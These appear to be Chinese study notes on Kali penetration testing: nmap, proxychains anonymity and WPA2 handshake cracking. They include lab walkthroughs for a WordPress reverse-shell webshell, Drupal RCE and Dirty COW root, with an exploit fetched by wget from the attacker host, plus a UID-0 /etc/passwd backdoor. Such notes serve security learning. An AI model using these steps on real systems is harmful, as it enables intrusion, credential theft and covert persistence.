//dev 目錄下的 tcp 和 udp 式 linux 中的特殊設備，可用於建立 socket 連接，讀寫這兩個文件就相當於是在 socket 連接中傳輸數據
// >& /dev/tcp/攻擊端 IP/攻擊端監聽端口
表示將標準輸出和標準錯誤輸出重定向到攻擊機(這時目標機的命令執行結果可以從攻擊機看到)
// 0>&1 將標準輸入重定向到標準輸出-攻擊機，從而可以透過攻擊機輸入命令

安全和匿名

互聯網上保持匿名不被追蹤
(1)暗網
(2)洋蔥網路
(3)代理服務器
中間人，流量提交後代為轉發，也接收目標主機返回的流量，內網滲透中代理服務器可以充當攻擊的跳板
(4)虛擬專用網路
(5)私有加密的電子郵件

proxychains 代理(客戶端)工具
通過代理服務器重定向連接

配置代理服務器
ccproxy
squid
proxychains 的配置
/etc/proxychains4.conf 默認配置文件
代理的格式
type　　IP　　port　[user　pass]
類型 代理服務器 IP 地址　端口　[用戶名　密碼]

修改/etc/proxychains4.conf
最後 sock4 192.168.65.1 1080

語法 proxychains4　[-f 配置文件]　<程序>

以匿名方式掃描目標主機
proxychains4　nmap　-sT　-Pn　主機　//-sT tcp 的連接掃描　-Pn 進用主機(假設主機是存活的)

proxychain4 的三種代理方式
//三種只能選一種
(1)strict_chain 嚴格代理(默認)
所有代理都會發揮作用，如果有一個代理不在線則會報錯
(2)dynamic_chain 動態代理
一個代理失效將會跳過，更高的匿名性和無障礙的黑客攻擊
(3)random_chain 隨機代理
從列表中隨機選一組 IP 並創造代理鏈，一個代理關閉會跳過，每次使用對目標的外觀都不同，更難追蹤
選項 chain _len=2 可更改代理鏈長度

//不要使用免費代理

提權
mawk 是 awk 編程語言的解釋器

nmap

網路掃描和安全審計
家族
- ncrack 密碼暴力破解
- ncat nc 的變體
- nping 強大 ping 工具
- zenmap nmap 的圖形化
- NSE 強大的腳本引擎

nmap -V 查看 nmap 版本
//man nmap 查看 man 手冊(中文)

探測活動主機
-sn //只做主機發現，不做端口掃描
-sn 192.16.65.0/24 //CIDR，無類域間路由

(1)二層探測 使用 arp 協議，對於同一往段使用 arp 探測
- 相關:arping arp-scan

(2)三層探測 使用 icmp 協議
(3)四層探測 使用 tcp 協議
- 對於不在同一網段的主機
  - [1] TCP SYN →443
  - [2] TCP ACK →80
  - [3] ICMP TimeSYAMP(時間戳) request

-v //查看詳細信息，v 越多越詳細
--reason //原因
//默認 80 端口，可改成如-PS21,23、-PU30-60,80
-PS //TCP SYN 掃描
-PA //TCP ACK 掃描
-PU //UDP 掃描
-PY //sctp 協議掃描

主機發現的其他選項
- --traceroute //探測到達主機的路徑

使用 nse 探測主機存活
- nmap 的腳本引擎(NSE)默認目錄/usr/share/nmap/scripts
- nmap 的腳本引擎文件擴展名.nse
- nmap --script 文件 //使用腳本

icmp 探測
- -PE //icmp echo 請求
- -PP //icmp 時間戳請求
- -PM //子網掩碼請求

-PO //使用指定協議探測

端口掃描
- (1)開放了那些端口(端口的狀態)
- (2)端口對應的服務及其版本

nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org //--dns-server 指定 DNS 服務器
nmap -Pn scanme.nmap.org //-Pn 跳過主機發現，直接掃描 -n 禁用 DNS 解析(默認會嘗試用 DNS 反向解析 IP 地址)
nmap 對於端口的分類
- open //開放，一個服務在運行(監聽)，可以建立連接

closed　//關閉，沒有服務在該端口運行
filtered　//過濾，沒有收到 probes(探針)，狀態不能建立連接，可能前端有防火牆
unfiltered　//未過濾，收到了 probes，但不能建立連接
open/filtered　//開放/過濾，端口可能被過濾或著端口是開放的，但不能建立連接
closed/filtered　//關閉/過濾，端口可能被過濾了或著端口是關閉的，但不能建立連接

SYN stealth scan
syn 秘密掃描(也稱半開連接掃描)(三次握手只完成前兩步)，也是默認掃描類型，對應選項為-sS，連接不被對方紀錄
TCP connect scan
完全連接掃描(三次握手是完整的)，對應選項為-sT，會被對方紀錄

nmap <目標>　//默認掃描行為
(1)先 DNS 解析　(-n)
(2)檢查主機是否存活　(-Pn)
(3)掃描類行為 SYN 掃描(秘密掃描 -sS)　//但普通用戶則執行完全連接掃描(-sT0)
(4)默認掃描的端口是常用的服務端口，並非全部

端口指定技巧
-p　目標　//指定端口如-p21、-p1-10、-p21,80、-p-(全端口)
-pT:25,U:53　//指定端口協議
-p　smtp　目標　//使用服務名稱
-p　smtp*　目標　//使用 smtp 開頭的服務名稱
-p[1-65535]　目標　//僅掃描在 nmap 數據庫服務中註冊的端口

指定網路接口
nmap　-e　eth1　目標

目標的指定
//多個目標用空格分隔，如果 nmap 無法識別的選項都視為潛在目標
(1)主機名　//如 scanme.nmap.org
(2)CIDR　//如 192.168.65.0/24 及 scanme.nmap.org/24(c 段滲透攻擊)
(3)單個主機
(4)10.0.0-10.1-255　//10.0.0.1-255、10.0.1.1-255……10.0.10.1-255
(5)192.168.65.*　//同 192.168.65.0/24
(6)排除(exclude)指定的主機　//nmap　-sn　192.168.65.*　--exclude　192.168.65.1-2,192.168.65.254
(7)排除來自指定文件的主機　//nmap　-sn　192.168.65.*　--excludefile　file
(8)掃描來自指定文件的主機　//nmap　-Pn　-p80　-iL　file
(9)只列出開放的端口　//--open
(10)隨機指定一定數量主機掃描//-iR 10

操作系統和服務版本檢測
//了解操作系統和服務確切軟件版本對於尋找安全漏洞的人來很有幫助
nmap　-sV　//服務版本檢測 識別安全漏洞、確保服務在給定端口上運行、檢查補釘或更新包是否已成功應用
nmap　-O　//操作系統檢測 使用 TCP、UDP、ICMP 發送多種探針到指定端口(開放或關閉的)，需要 root 權限
功能非常強大，支持主流操作系統檢測，也支持家用路由器、攝像頭、其他硬件操作系統檢測

(1)nmap　-p21　-sV　-O　192.168.65.32　(metasploitable2 靶機)
結果
21/tcp open　ftp　vsftpd 2.3.4
OS CPE: cpe:/o:linux:linux_kernel:2.6
(2)查找漏洞
https://www.exploit-db.com 漏洞利用數據庫
利用 searchsploit 工具查找漏洞利用數據庫
結果
vsftpd 2.3.4 - Backdoor Command Execution
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
(3)漏洞利用
工具:metasploit
[1]查找漏洞利用模塊
msf6> search vsftpd
[2]調用模塊
msf6> use 名稱(或 use 編號)
[3]查看模塊選項

msf6> show options
//RHOSTS 遠程主機

[4]設置選項
set 選項名稱 值
msf6> set RHOSTS 192.168.65.32
//取消選項相應的值 unset 選項名稱

[5]漏洞利用
msf6> exploit
msf6> python -c 'import pty;pty.spawn("/bin/bash")' //獲得交互式 shell

CPE 通用平台枚舉，是對識別出來的操作系統的一種命名方式
//這 7 項不一定每次出現
格式: cpe:/<part>:<vendor>:<product>:<version>:<update>:<edition>:<language>
part 廠商類型，允許值有 a(應用程序)、h(硬件平台)、o(操作系統)
vendor 廠商類型
product 產品名稱
version 版本號
update 更新包
edtion 版本
language 語言項

對服務版本進行深度檢測 //-version-intensity
nmap -sV --version-intensity 9(0~9 數字越高越深度) 目標

-A //積極檢測模式
包含下列檢測
-sV //服務版本檢測
-O //操作系統檢測
-sC //默認腳本檢測
--traceroute //路由跟蹤

--osscan-guess //如果操作系統檢測失敗(可能目標開啟防火牆)可以加上，讓 nmap 猜測操作系統類型
SMB 協議 //又稱 CIFS 協議，文件共享所使用的協議(如 windows 的共享、samba 服務)，使用 445 端口
同一網段獲取靶機 IP 的方法
(1)arp-scan -l
(2)nmap -sP
(3)nmap -sn
(4)nbtscan 192.168.65.1-255
(5)netdiscover -r 192.168.65.0/24

nmap 掃描時序
-T0 //非常慢，用於逃避 IDS(入侵檢測)檢測
-T1 //緩慢的，同 T0
-T2 //減少對帶寬的佔用，不常用
-T3 //默認的，根據目標反應調整時間
-T4 //快速的，常用
-T5 //極速的，會降低掃描精度

使用 nmap 的腳本引擎對目標主機掃描

(1)擴展 nmap 功能
(2)使用 lua script(速度快)
(3)腳本目錄/usr/share/nmap/scripts
(4)nmap --script-updatedb //更新 NSE 的數據庫
(5)使用主機和端口規則，甚至可以被配置圍在沒有端口掃描目標的情況下運行
(6)--script 腳本名稱或類別(腳本間用逗號分隔)
(7)常用腳本分類
all 運行所有腳本
auth 認證
default 默認 //-sC:

discovery 發現，獲取目標深度信息
external 擴展，支持一些開源情報探測
intrusive 入侵檢查 //不安全
malware 惡意軟件檢查，如後門
safe 安全檢查，檢查目標有沒有被入侵
vuln 漏洞檢查
broadcast 使用廣播對目標進行信息收集
brute 對目標進行密碼暴力破解
dos 對目標做 DOS(拒絕服務)攻擊
exploit 漏洞利用
fuzzer 模糊測試
version 版本檢查

(8)用法

[1]nmap --script dns-brute <target>
[2]nmap --script http-headers,http-title scanme.nmap.org
[3]nmap -sV --script vuln <target>
[4]nmap -sV --script=”version,discovery” <target>
[5]nmap -sV --script “(http-*) and not (http-slowloris or http- brute)” <target>
//執行所有 http 開頭腳本，但 http-slowloris, http- brute 除外

nmap 腳本引擎參數

--script-args
通過--script-args 將參數傳遞給 NSE 腳本
參數的結構為: name=value，以逗號分割多個參數對
name 和 value 中都不該包含以下符號: { } , =

一些網站會透過 user-agent 來判斷請求合不合法

nmap --script http-title --script-args http.useragent=”IE 10” <target>
nmap --script-args-file=file.txt //腳本參數來自指定文件

腳本的調適開關

--script-trace
-d [1~9] //-d 指定調適級別 1 到 9，數字越大越詳細

-PE 發送的 ICMP 回應請求
--packet-trace //對發送的包進行跟蹤探測

理解和檢查無線網路

掃瞄並連接到其他網絡設備的能力非常重要

AP 無線接入點，無限用戶連接到互聯網的設備(如路由器)
ESSID 擴展 SSID
BSSID 唯一標示每個 AP，AP 的 MAC 地址
SSID 網路名稱
安全協議

WEP 最初的，存在缺陷容易破解
WPA 比 WEP 安全一點
WPA2-PSK 更安全，幾乎所有 WIFI AP(企業 WIFI 除外，可能有更安全的方式)都使用它

操作模式(modes)

//WIFI 可以在三種模式下切換
manage 管理，已準備好加入或以加入 AP
master 主要，已準備好充當或已經加入 AP
monitor 監視

頻率

2.4GHZ
5GHZ

基本網路命令

//ifconfig 查看
wlan0 無限網卡的命名

(1)iwconfig 僅顯示無線網卡及其數據
(2)ifconfig wlan0 up 啟用無線網卡

systemctl start NetworkManager //啟動網路管理器

(3)iwlist 接口 動作 //不確定要連接哪個 WIFI AP，可以使用 iwlist 命令查看網卡可以訪問的所有無線接入點

iwlist wlan0 scanning //掃描無限信號

(4)nmcli -網路管理器的命令行方式 //為網路接口(包含無線接口)提供高級接口的 linux 守護程序稱為網路管理器-nmcli

nmcli dev wifi 查看無限信號 //類似於 iwlist

nmcli dev wifi connect SSID 名稱 password 密碼 //連接 WIFI

對無線密碼進行破解

在攻擊 WIFI AP 之前需要獲取以下信息

(1)目標 AP 的 MAC 地址(BSSID)

(2)客戶端的 MAC 地址

(3)AP 正在運行的信道(channel)

(4)ESSID

方法

iwlist wlan0 scanning

nmcli dev wifi

需要準備

(1)能夠支持 monitor 模式和數據包注入功能的網卡

(2)將無線網卡置於 monitor 模式，以便網卡能夠看到所有經過它的流量

監控模式類似於有限網卡上的混雜模式(promiscuous)

(3)相關工具 aircrack-ng(套件) //用於無線網路安全相關工具的集合

(4)熟悉無線網路相關命令

方法

使用 aircrack-ng 套件中的 airmon-ng 命令

airmon-ng start | stop | check interface

airmon-ng start wlan0

//將無綫網卡置于 monitor 模式之後，會重命名無限網卡

獲取數據

airodump-ng 命令捕捉 //幷顯示來自廣播 AP 和連接到這些 AP 或附近的任何客戶端的關鍵數據

使用

(1)airodump-ng 無線網卡名稱 //獲取所有 AP 及其客戶端信息

(2)ariodump-ng -c 6 --bssid 88:C3:97:C2:F1:4E wlan0 //對指定 AP 進行探測，獲取到客戶端 MAC 地址

//假設筆電為 18:56:80:DB:C9:19

無限破解

(1)保存指定 AP 的報文

airodump-ng -c 6 --bssid 88:C3:97:C2:F1:4E -w file_saving wlan0

(2)切斷指定客戶端與無線 AP 的連接

aireplay-ng --deauth 100 -a 88:C3:97:C2:F1:4E -c 18:56:80:DB:C9:19 wlan0

//--deauth 發送斷開連接報文的個數

//-a 指定的 AP

//-c 指定的客戶端

//可以使用 aireplay-ng 命令取消（取消身份驗證）與 AP 連接的任何人，幷强制他們重新身份驗正到 AP, 當他們重新驗證時，你可以捕獲在 WPA2-PSK 四次握手中交換的密碼散列

(3)通過 aircrack-ng 使用字典解無線報文

準備字典文件 wordlist.dic

aircrack-ng -w wordlist.dic -b 88:C3:97:C2:F1:4E file_saving.cap

//-w 指定字典文件

//-b AP 的 BSSID

//file_saving.cap 保存的無線報文

藍牙設備的探測

(1)藍牙是一種用於低功耗近場通信(小於 10 米)的通用協議，頻率 2.4-2,485GHZ，跳頻速度爲每秒 1600 跳(這種跳頻是一種安全惜施)

(2)連接兩個藍牙設備被稱爲配對，幾乎任何兩個藍才設備都可以相互連接，但有在處于可發現摸式時才能配對，處于可發現模式的藍牙設備傳輸以下信息：

名稱　類別　服務清單　技術信息

(3)當兩個設備配對時，他們交換一個密鑰或鏈接密鑰，每次存儲這個鏈接鍵以便在之後配對中識別另一個
(4)每個設備都有一個唯一的 48 位標示符(類似 MAC 地址)，通常包含製造商信息

bluez 有許多簡單工具，可以用來管理和掃描藍牙設備
(1)hciconfig 與 ifconfig 非常相似，用於查看藍牙設備
hciconfig　hci0　up　//啟用藍牙設備
(2)hcitool 這工具為我們提供設備名稱、設備 ID、設備類別和設備時鐘信息，使設備能同步工作
hcitool　scan　//掃描藍牙設備(藍牙設備要處於發現模式)
hcitool　inq　//查詢藍牙信息(能得到設備的 MAC 地址、時鐘偏移量、設備類別)
(3)hcidump 這工具使我們能嗅探藍牙通信，意味著可以捕獲通過藍牙信號發送的數據
(4)sdptool 用於瀏覽設備上提供的服務，設備不必處於要掃描的發現模式
sdptool　browse　設備 MAC 地址
(5)l2ping 查看是否能達到遠端藍牙設備
l2ping　設備 MAC 地址　-c　4　//-c 指定發包個數

//藍牙攻擊和滲透套件 bluediving

stapler 靶機延伸

http 登入破解
wpscan --url https://192.168.65.239:12380/blogblog/ -P /usr/share/wordlists/rockyou.txt　-t　50 --disable-tls-checks
最終會得到一些帳戶及密碼，其中 username:john　password:incorrect 具有高權限，用它登入 wordpress

對 wordpress 的利用
前提:高權限帳號(如安裝新插件、修改模板等)
安裝新插件功能可上傳文件(思路:安裝一個 PHP 木馬)

利用 msfvenom 製作 PHP 木馬
//反向連接
//msfvenom 專門製造木馬的工具
(1)msfvenom　-l　payload　| grep　php　//查看支持的 payload
(2)msfvenom　-p　php/meterpreter/reverse_tcp(反向連接的 payload)　--list-options　//查看指定 payload 支持的選項
Name　Current Setting　Required　Description
LHOST　yes　The listen address (an interface may be specified)
LPORT　4444　yes　The listen port
msfvenom　-p　php/meterpreter/reverse_tcp　LHOST=192.168.65.128　LPORT=4444　-f　raw　-o webshell.php
//-LHOST 監聽主機的地址(控制端 kali 的地址)　-LPORT 監聽端口　-o 指定生成文件　-f 指定生成文件格式
//--list　formats 查看所支持的格式(raw 格式代表隨機的，根據 payload 類型自動匹配相應的文件格式)

木馬上傳
插件(plugins)→加入新的→上傳檔案
確認
https://192.168.65.239:12380/blogblog/wp-content

在攻擊端建立偵聽器(listener)
常用方法
(1)使用 msf 的 exploit/multi/handler 模塊
msf>use　exploit/multi/handler
msf>set　payload　php/meterpreter/reverse tcp
msf>set　lhost　192.168.65.128(kali 地址)

msf>set Iport 4444
msf>exploit
//netstat -tnlp 查看監聽端口

(2)拿到了 meterpreter 會話

meterpreter 是一 種使用內存技術的攻擊載荷，可以注入到進程之中提供各種可以在目標上執行的功能(如螢幕、鍵盤)，從而成為最受歡迎的攻擊載荷

meterpreter>sysinfo //查看目標系統信息
meterpreter>shell //獲取目標系統 shell

(3)獲取交互式 shell

python -c 'import pty;pty.spawn("/bin/bash")'

後滲透利用

後滲透利用(post-exploitation)是指攻擊者在獲得對目標的某種程度控制後所執行的操作，一些後利用行動包括提升特權， 擴大控制到其他機器，安裝後門，清理攻擊證據(痕跡)，上傳文件和工具到目標機器等

後滲透利用-文件傳輸

//如上傳一個攻擊工具、後門、DOC 等
方法一:搭建簡易 HTTP 服務器
方法二:利用 nc 傳輸文件

kali: nc -nvlp 12306 < 39772.zip
目標: nc -nv 192.168.65.128 12306 > 39772.zip

//dos2unix 把 windows 下的文本格式轉換成 linux 格式的文本

管理 linux 內核核可加載內和模塊

內核(kernel)

操作系統的組成=內核空間+用戶空間
內核控制者操作系統的一切
內核只能由 root 帳戶或其他特權帳戶訪問

查看內核文件

內核文件通常放在/boot/vmlinuz-xxx
非文本文件，無法直接看

系統基本啟動流程

BIOS(開機自檢)→讀取 MBR 內的操作系統引導程序(GRUB) →加載系統內核到內存→啟動系統第一個服務(sytemd)→由 sytemd 加載其他服務

內核模塊

現在的 linux 內核是基於模塊化設計的，可以通過內和模塊實現功能擴展和識別新的硬件，而不需要重新編譯內核
這種模塊稱為 LKM(可加載內和模塊)
一種稱為 rootkit 的惡意軟件通過 LKM 嵌入操作系統內核中，則黑客可以完全控制操作系統
模塊位置/bin/modules/$(uname -r)/kernel

使用 sysctl 進行內核優化

//使用 sysctl 須小心，錯誤使用可能導致系統崩潰
目的

(1)提升性能
(2)擴展功能
(3)系統加固和安全防範

sysctl -p //讀取文件中的參數值，使文件中參數修改生效

sysctl -a //顯示所有內核參數值(生效)
sysctl -w 參數名=值 //臨時修改參數的值

修改配置文件/etc/sysctl.conf
[案例 1]禁止其他主機 ping //忽略其他主機的 echo 請求
/etc/sysctl.conf 文件中插入 net.ipv4.icmp_echo_ignore_all = 1 //1 是開啟，0 是關閉
更改後 sysctl -p 才能生效
[案例 2]打開 IP 轉發功能(場景:實施中間人攻擊，劫持流量，如 ARP 欺騙)
/etc/sysctl.conf 文件中插入 net.ipv4.ip_forward = 1
更改後 sysctl -p 才能生效

管理內核模塊
內核文件一般都是壓縮文件，在加載到內存之前需要進行解壓
核心解壓時需要一個內存磁盤(RAM DISK) [/boot/initramfs-內核版本]或[/boot/initrd.img-內核版本]

(1)模塊文件存放位置 /lib/modules/$(uname -r)/kernel
(2)模塊之間有依賴性
(3)模塊擴展名.ko
(4)管理內核模塊
方法一:insmod(老的)
方法二:modprobe(推薦)
lsmod 列出核心加載的模塊
modinfo 列出模塊信息
(5)模塊的加載和刪除
insmod /lib/modules/5.10.0-kali9-amd64/kernel/fs/fat/fat.ko //加載模塊(注意版本號)
insmod /lib/modules/$(uname -r) /kernel/fs/fat/fat.ko //同上
rmmod fat //移除模塊
//使用 insmod 和 rmmod 的問題是必須找到完整文件名，且可能遇到依賴問題

modprobe cifs //加載模塊
modprobe -r cifs //刪除模塊
//使用 modprobe 會自動調用和刪除依賴模塊，解決依賴問題

dmesg //查看系統硬件詳細信息

lampiao 靶機
(1)nmap 掃描
nmap -p- -A 192.168.65.239
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1898/tcp open cymtec-port
//192.168.65.239:1898 有 web 服務
(2)HTTP 探測
方法一:firefox 插件
方法二:burpsuite
原理:代理攔截請求，查看服務器響應
//經常在應用程序所在服務器的響應標頭中批露 CMS 版本
X-Generator: Drupal 7 (http://drupal.org)
burp suite，代理選項(proxy)下的 options 設置代理監聽器，修改成 kali 地址
修改瀏覽器代理，改成 kali 地址(也要勾選下方 http 欄)
(3)漏洞利用-msf
drupal 7 //漏洞 CVE-2018-7600(存在遠程代碼執行)
msf6>search drupal //嘗試使用 2018 的
msf6>set rhosts 192.168.65.239
msf6>set rport 1898
msf6>exploit
成功得到 meterpreter 會話

(4)漏洞利用-meterpreter 會話
sysinfo 目標系統信息
Computer : lampiao
OS : Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686
Meterpreter : php/linux

shell 簡單操作(如 id、ip a)，不是最高權限
輸入 python -c 'import pty;pty.spawn("/bin/bash")'進入交互式 shell(最好手打，否則可能無法被識別)
www-data@lampiao:/var/www/html$
uname -r 查看系統
4.4.0-31-generic #50~14.04.1-Ubuntu
(5)利用 linux 內核漏洞進行提權
[1]信息收集(當前權限、系統版本、內核版本等)
[2]根據收集的信息查找 EXP(漏洞代碼)
方法一:kali>searchsploit linux 4.4.0
方法二:網站搜尋
https://github.com/FireFart/dirtycow
https://github.com/gbonacini/CVE-2016-5195
[3]利用 EXP 進行提權
(6)髒牛漏洞(dirty cow)
CVE-2016-5195
linux kernel >= 2.6.22(2007 發行，2016 修復)
低權限用戶利用漏洞在眾多 linux 系統上實施本地提權
(6)提權
[1]kali>searchsploit dirty
找到 40847.cpp
searchsploit -m 40847.cpp //拷貝到當前目錄
[2]python3 -m http.server 8000 搭建 HTTP 服務器
[3]回到 msf 的交互式 shell
www-data@lampiao:/var/www/html$> cd /tmp
www-data@lampiao:/var/www/html$> wget http://192.168.65.128:8000/40847.cpp
[4]使用 40847.cpp
//網站上有使用說明
www-data@lampiao:/var/www/html$> g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
www-data@lampiao:/var/www/html$> ./dcow -s
成功拿到 root
flag.txt: 9740616875908d91ddcdaa8aea3af366

使用作業調度實現自動化任務

計劃任務
分一次性和週期性
at 一次性
cron 服務 週期性
crontab 管理 cron 服務的工具
/etc/crontab 系統的任務計劃文件

/etc/crontab 語法
分鐘 小時 日期 月份 周 運行身分 指令
*(任何時刻接受)
,(分隔 如 3,6)
-(範圍 如 5-9)
/n(每隔 n 單位間隔)

crontab -e 編輯任務計劃文件
//-r 刪除 -u 指定用戶 -l 列出
//有三個編輯器可選(推薦 2)

嘗試設置備份計畫
目標:每天 2 點備份
00 2 * * 0 root /bin/systembackup.sh

crontab 中的快捷方式
@yearly

@annually
@monthly
@weekly
@daiy
@midnight
@noon
@reboot(每次系統啟動時)

環境變量

是在終端會話期間運行的任何運用程序所繼承的各種設置的全局存儲形式，用於用於設置用戶的工作環境
shell　提供命令行接口
bash 兼容了 ksh 和 csh 的優點
echo　$變量名　查看變量
　　$PATH　路徑搜索變量
　　當執行外部命令時，如果沒給出命令的程序路徑，默認會在 PATH 變量給出的路徑中查找
　　type　命令　//判斷命令類型
　　$USER　用戶
　　$PWD　當前環境
export　把變量設置為全局環境變量

歷史命令

退出終端後命令保存在.bash_history(適用於 bash)　//位於家目錄
.bashrc　用於設置當前用戶的工作環境
　　HISTFILE　歷史命令文件
　　HISTSIZE　歷史命令記錄條數
　　SAVEHIST　歷史命令文件保存命令條數
!編號　調用命令
!v　調用最近一次 v 開頭的指令
ctrl+r　搜索歷史命令，找到匹配選項後如要繼續查找可再次 ctrl+r

輸入輸出

在 shell 中數據流分三類
　　(1)STDIN　標準輸入，默認為鍵盤，也可以來自於文件或管道　//文件描述符 0
　　(2)STDOUT　標準輸出，默認輸出到終端　//文件描述符 1
　　(3)STDERR　標準錯誤輸出，默認輸出到終端　//文件描述符 2
可以通過特定符號改變或連接數據流
　　(1)管道符|
　　(2)輸出重定向>　//覆蓋原先內容
　　> file.txt 編寫文件(kali 中可行，其他程序可能是清空文件)
　　echo　" "　> file.txt　清空文件
　　(3)輸出重定向>>　//追加內容
　　(4)輸入重定向<
echo 的基本使用
　　-e 解析轉義符，光標移到行首
　　\n 回車換行(如 echo　-e　"line1\nline2\nline3")
wc 統計
　　-c　輸出字節統計
　　-m　輸出字符統計

-l　輸出行數統計
如 wc　-l　< file.txt
文本輸入
cat　>>　file.txt　<<　EOF
以 EOF 結束輸入(可以是其他的)
重定向標準錯誤
ls　file.txt　2> error.txt　//將錯誤輸出重定向到 error.txt，不然原本會在終端顯示
ls　file.txt　>true.txt　//正確輸出到 true.txt
ls　file.txt　>all.txt　2>&1　//所有輸出(正確或錯誤)到 all.txt
程序　> /dev/null　2>&1　//程序、腳本不想看到輸出(/dev/null 特殊設備文件，理解為黑洞)

文本查找與操作

//適用正則表達式
//du　-sh　統計文件大小
grep
^K　查找以 K 開頭
K$　查找以 K 結尾
-r　遞歸搜索(每一級目錄)
-i　忽略大小寫
sed　功能強大的流編輯工具，經常處理輸入流的文本替換，常用於 shell 腳本中
從文件或輸入讀取(拷貝)數據到緩衝區，處理後的數據輸出到螢幕，不改動原始文件(除非用-i)
p　印出匹配行
d　刪除定位行
sed　-i　'3d'　file.txt　//刪除原始文件第三行
s　替換
echo　"I　need　to　try　hard"　|　sed　's/hard/harder/'　//將 hard 換成 harder
echo　"I　need　to　try　hard"　|　sed　's#hard#/harder#'　//同樣結果
-i　改動原始文件
-n　印出指定行
sed　-n　'/^root/p'　file.txt　印出 root 開頭的行
cut　從數據中抽取指定列
-c　指定提取字符　接數字
-f　指定提取範圍或域　接數字如 1，1,3，1-3，3-
-d　改變域分隔符(默認是空格)
echo　"one,two,three,four"　|　cut　-d　","　-f　1,3　//印出 one 及 three
awk

發現網路活動主機
(1)netdiscover　arp 協議，分主動與被動模式
(2)arp-scan -l
(3)nmap　-sP　192.168.65.0/24　基於 ping 掃描，同一網段 arp，不同網段 ping
-sn　不做端口掃描，只做主機發現
//默認掃描 1000 個常用端口
二層(數據鏈路層)主機發現
arpig 屬於 ARP 協議(條件:本地網路)
三層(傳輸層)主機發現
ping 屬於 ICMP 協議
四層主機發現
TCP、SYN　ping　-PS
向目標 80 端口發送一個 TCP SYN 報文
//也可以指定其他常用端口 nmap　-sn　-PS80,21,53
TCP、ACK　ping　-PA
場景:防火牆會阻止 SYN 報文(新發起的連接)、ICMP 請求報文
但 TCP、ACK ping 不會被傳統防火牆阻止(可能會被狀態防火牆阻止)，因為發出的 ACK ping 是偽造的
//狀態防火牆紀錄數據包連接狀態
UDP　ping　-PU

優勢:防火牆可能過濾掉 TCP 報文，但沒過濾 UDP 報文

nmap -sn -PU

發送一個空的 UDP 報聞到 40125 端口

如果主機在線，返回一個 ICMP 端口不可達的錯誤消息

如果主機不在線，返回各種 ICMP 的報錯消息

nmap 指定目標的方法

(1)目標來自文件

nmap -sn -iL file.txt

//文件一行一個 IP 地址(IP 地址也可以寫成 192.168.65.20-30)

(2)排除目標

nmap -sn -iL file.txt --exclude 192.168.65.1, 192.168.65.2

(3)排除文件中的目標

nmap -sn -excludefile file.txt 192.168.65.0/24

(4)隨機指定互聯網的目標

nmap -sn -iR 10 //隨機十個

nmap -p3389 --open -iR 10 //掃描開放 3389 的目標

nmap 秘密掃描

//又稱 SYN 掃描或半開連接掃描，也是默認掃描方式，-sS

三次握手不完成(只完成兩個)，流量不會被記錄

tmux 終端窗口

一個特殊終端窗口程序，一個終端管理多個窗口

輸入命令前要先 ctrl+b

先在一般窗口輸入 tmux

ctrl+b " 水平分割

ctrl+b % 垂直分割

ctrl+b t 顯示時間

ctrl+b q 退出

ctrl+b [方向鍵] 切換窗口

ctrl+b [上下方向鍵] //不能用滑鼠，esc 或 q 退出

ctrl+b exit 關閉

使用時機一:運行多個任務程序時

//ps 查看進程

會話特點:窗口與啟動的進程連在一起

使用時機二:會話管理

打開窗口會話開始，關閉窗口(或網路斷開)會話結束，會話內部的進程也終止

解決:解綁窗口與會話，需要時綁定其他窗口

tmux ls 查看會話編號 //attached 代表會話正在連接

tmux a -t [會話編號] 連接會話

//attached 連接

使用時機三:多窗口管理

一般終端輸入 tmux 後左下有提示欄

[會話編號] [窗口編號]:[窗口名稱]* //*代表當前活動狀態

ctrl+b , 重命名窗口

ctrl+b c 創建新窗口

ctrl+b [窗口編號] 切換窗口

ctrl+b tmux detach 暫時離開會話

用戶與組的管理

hostname　查看主機名
hostname　-i　查看 IP 地址
groups　查看加入的組
sudo　-l　查看授權列表　//需要進行當前身分驗證(當前身分的密碼)
　格式:　[用戶或組]　　[主機名列表]=(用戶)　　命令程序列表
　　被授權用戶或組　在那些主機角色中使用　允許執行那些命令　//授權用戶　以什麼用戶身分　執行那些命令
　　//如%sudo　ALL=(ALL:ALL)　ALL　有%代表組，沒有就是用戶
sudo 組=管理員組，將用戶加入 sudo 組以具有完全管理權限
和用戶相關的命令
　useradd　添加用戶　//同 adduser
　usermod　修改用戶的屬性
　userdel　刪除用戶
　su　切換用戶
　sudo　用戶授權
　id　查詢用戶的 id
　who　查看再線用戶　//同 w
　last　查看用戶最近登錄信息
　帳戶文件/etc/passwd 紀錄格式
　　username:x:1001:1001::/home/username:/bin/sh
　　用戶:密碼:用戶 UID:用戶 GID(屬組):用戶的描述(可能為空):用戶的家目錄:用戶的登錄 shell
　　//x 代表用戶密碼採用影子口令存儲在另一個文件(/etc/shadow)
　　//密碼處可以是 x 或直接寫入 hash 密文
　　//linux 中 root 用戶的 UID 為 0，在系統中區分用戶是根據 UID 而非用戶名
　影子文件/etc/shadow 紀錄格式
　　username:!:19148:0:99999:7:::
　　//!表示鎖定口令(默認無法登錄到系統)

文件權限
　用戶　組　其他人
　rwx　　rwx　rwx
　r=4
　w=2
　x=1

在/etc/passwd 中添加具有 root 權限的用戶
　//前提:對/etc/passwd 具有寫權限
　添加一個 sdxh 用戶，密碼是 123456
　一般 root 用戶格式:root:x:0:0:root:/root:/usr/bin/zsh

先得到加密後的密碼

openssl passwd -l -salt abc 123456

得到1sdxh$5iwLSXK9mz8ZF2KE7FK.hl

追加

echo ' sdxh: 1sdxh$5iwLSXK9mz8ZF2KE7FK.hl:0:0:root:/root:/usr/bin/zsh ' >> /etc/passwd

find 指令找用戶權限

在系統之查找其他用戶(o)有寫入權限的文件有哪些

find / -perm o=w -type f //-perm 代表按權限查找 w 代表寫權限 o=w 代表查找只有寫入權限的用戶

find / -perm o=w -type f 2 > /dev/null //過濾錯誤提示

find / -perm -o=w -type f 2 > /dev/null /-o=w 代表查找包含寫入權限的用戶

用戶的添加與刪除

添加用戶 useradd

-m 創建用戶的家目錄 //默認不創建家目錄

-M 不創建家目錄

-G 指定其附加組 //把用戶加入到哪個組中，加到 sudo 相當於管理員

-s 指定用戶登錄的 shell

//如果登錄 shell 是/sbin/nologin 或是/bin/false，用戶就無法登錄到系統，常用於程序(服務)用戶(只允許運行程序)

設置密碼

